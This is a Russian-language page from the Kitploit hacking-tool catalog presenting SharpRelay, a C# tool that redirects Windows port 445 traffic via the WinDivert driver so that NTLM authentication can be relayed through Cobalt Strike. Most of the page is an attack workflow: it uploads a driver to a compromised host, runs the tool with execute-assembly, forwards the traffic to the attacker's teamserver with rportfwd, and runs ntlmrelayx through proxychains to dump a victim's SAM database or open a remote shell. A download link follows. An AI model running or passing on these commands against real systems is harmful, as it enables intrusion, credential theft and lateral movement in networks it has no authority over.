Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SharpRelay — Инструмент на C#, использующий драйвер WinDivert для перехвата и перенаправления трафика порта 445 Windows для атак NTLM relay через Cobalt Strike, что позволяет осуществлять горизонтальное перемещение и сбор учетных данных в операциях red team. | Kitploit
Инструменты/GitHubGitHub/pkb1s/sharprelay
Сниффинг и анализ пакетовЛатеральное перемещениеТестирование на ПроникновениеRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

Инструмент на C#, использующий драйвер WinDivert для перехвата и перенаправления трафика порта 445 Windows для атак NTLM relay через Cobalt Strike, что позволяет осуществлять горизонтальное перемещение и сбор учетных данных в операциях red team.

Репозиторий
179215 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Использование

Единственное требование для работы этой атаки — наличие бикона с правами локального администратора или возможность загружать драйверы. Атака с использованием SharpRelay работает следующим образом:

  • Загрузите подписанный драйвер WinDivert в любую папку на скомпрометированном хосте
  • Запустите SharpRelay, чтобы изменить порт назначения входящих пакетов на порт 445 и перенаправить их на другой порт (например, 8445)
  • Из нашего бикона выполните команду Cobalt Strike rportfwd для перенаправления порта 8445 скомпрометированного хоста на порт 445 нашего teamserver.
  • Запустите socks-сервер для перенаправления ретранслированного трафика обратно в сеть жертвы
  • Запустите ntlmrelayx из Impacket с proxychains для выполнения SMB-ретрансляции
  • Когда жертва попытается получить доступ к порту 445 скомпрометированного хоста, аутентификация NTLM будет перенаправлена на наш teamserver и ретранслирована на другую машину

Следующие примеры команд можно выполнить из Cobalt Strike для выполнения этих действий:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

Когда все вышеперечисленное выполнится успешно, вам нужно запустить ваш relay-сервер (настройте proxychains на порт, указанный в приведенных выше командах, например 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

Приведенная выше команда дампует базу данных SAM с хоста жертвы. Также возможно получить интерактивную SMB-оболочку и удаленно выполнять команды на жертве.

SharpRelay был протестирован на Win10 x64.

Инструкции по сборке

Если вы хотите собрать инструмент из исходного кода, выполните следующие действия:

  • Клонируйте репозиторий
  • Убедитесь, что все пакеты NuGet видны на вкладке Installed, открыв Project->Manage NuGet Packages в Visual Studio
  • Соберите проект

Вышеуказанные инструкции были протестированы с помощью Visual Studio 2019.

Технические детали

SharpRelay основан на драйвере WinDivert. Согласно его описанию, WinDivert — это драйвер режима ядра, который позволяет перехватывать и модифицировать пакеты в пользовательском режиме. Пользователь должен указать фильтр, и любые пакеты, соответствующие этому фильтру, будут перехвачены и могут быть изменены.

Из файла ReadMe:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

Для нас самое важное, что позволяет делать WinDivert, — это перехватывать трафик, идущий к открытому порту Windows, и перенаправлять его на другой порт, изменяя исходный и конечный порты TCP каждого пакета, пересчитывая контрольные суммы TCP и повторно внедряя пакеты в сетевой стек.

В Windows порт 445 всегда запущен по умолчанию. Я не буду вдаваться в подробности процесса использования порта 445, поскольку это уже проанализировано в следующей статье, поэтому, пожалуйста, прочитайте её:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

В вышеуказанной статье также содержится еще одна интересная идея. Использование WinDivert для выполнения атаки SMB-ретрансляции через Metasploit. Вы можете загрузить несколько DLL и файл драйвера на целевой хост вместе с divertTCPconn.exe и выполнить их. Я нашел эту атаку потрясающей, но мне не понравилось, что приходится загружать несколько DLL на целевой хост.

Поэтому моей целью было выполнить ту же атаку, оставляя минимальное количество файлов на диске, а также выполняя атаку через Cobalt Strike.

Прежде всего, я хотел использовать функцию execute-assembly из Cobalt Strike, поэтому решил написать свой код на .NET framework. Первоначально я думал переписать divertTCPconn на C#, и тогда всё заработает. Оказалось, что это очень сложно. К счастью, я нашел следующий пакет NuGet, написанный TechnikEmpire:

  • https://github.com/TechnikEmpire/WinDivertSharp

Используя WinDivertSharp, я смог написать SharpRelay для загрузки драйвера путем создания службы и взаимодействия с драйвером WinDivert для выполнения любых необходимых модификаций пакетов.

Скачать инструмент